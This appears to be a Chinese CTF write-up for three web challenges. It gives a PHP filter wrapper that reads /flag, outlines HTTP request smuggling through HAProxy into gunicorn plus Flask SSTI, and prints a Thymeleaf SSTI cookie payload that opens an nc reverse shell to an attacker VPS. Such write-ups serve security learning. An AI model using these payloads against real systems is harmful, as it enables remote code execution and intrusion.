noslash
php伪协议直接读flag:
php://filter/read/convert.base64-encode/resource=/flag
smg
前端服务器设置代理,haproxy.conf:
frontend http
bind *:80
default_backend web
acl restricted_page path_sub -i admin
http-request deny if restricted_page
acl restricted_page path_sub %
http-request deny if restricted_page
请求路径中不能出现 admin 和 %
后端服务器使用gunicorn来解析请求,注意到Dockerfile中的版本:
RUN pip3 install -v 'gunicorn<=20.0.4'
该版本存在http走私问题,添加header Sec-Websocket-Key: 1会忽视CL,默认请求内容长度为8
后端flask web服务:
from flask import Flask, render_template_string, request
import sys
blacklist = ["{{", "}}"]
app = Flask(__name__)
@app.post("/admin")
def admin():
user_input = request.form.get('input')
print(user_input, file=sys.stderr)
if any(bl_item in user_input for bl_item in blacklist):
return "Blocked input!"
try:
return render_template_string(f"Output: {user_input}")
except Exception as e:
return str(e)
@app.get("/")
def home():
return "hello world!"
POST方法访问 /admin 后续打 SSTI,构造请求包要格外注意 Content-Length:

这题是原题,网上有现成的payload:

参考资料:
https://sechub.in/view/2407327
https://blog.shameerkashif.me/blog/2024/ctf-ignite-islamabad-regional-24-web-writeups/
ezjava
HelloController.java:
package app;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
@Controller
public class HelloController {
@org.springframework.web.bind.annotation.GetMapping("/")
public String hello(Model model, @CookieValue(value = "language", defaultValue = "en") String language) {
return language + "/index";
}
}
build.gradle:
plugins {
id 'java'
id 'org.springframework.boot' version '2.7.18'
id 'io.spring.dependency-management' version '1.1.6'
}
group = 'com'
version = '0.0.1-SNAPSHOT'
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation 'org.springframework.boot:spring-boot-starter-web'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}
tasks.named('test') {
useJUnitPlatform()
}

考虑打thymeleaf SSTI,反弹shell:
language=__%2A%7Bnew.java.lang.String%28new.java.lang.ProcessBuilder%28%22nc%22%2C%22vps的ip%22%2C%22vps的端口%22%2C%22-e%22%2C%22sh%22%29.start%28%29.getInputStream%28%29.readAllBytes%28%29%29%7D__%3A%3A
flag在根目录下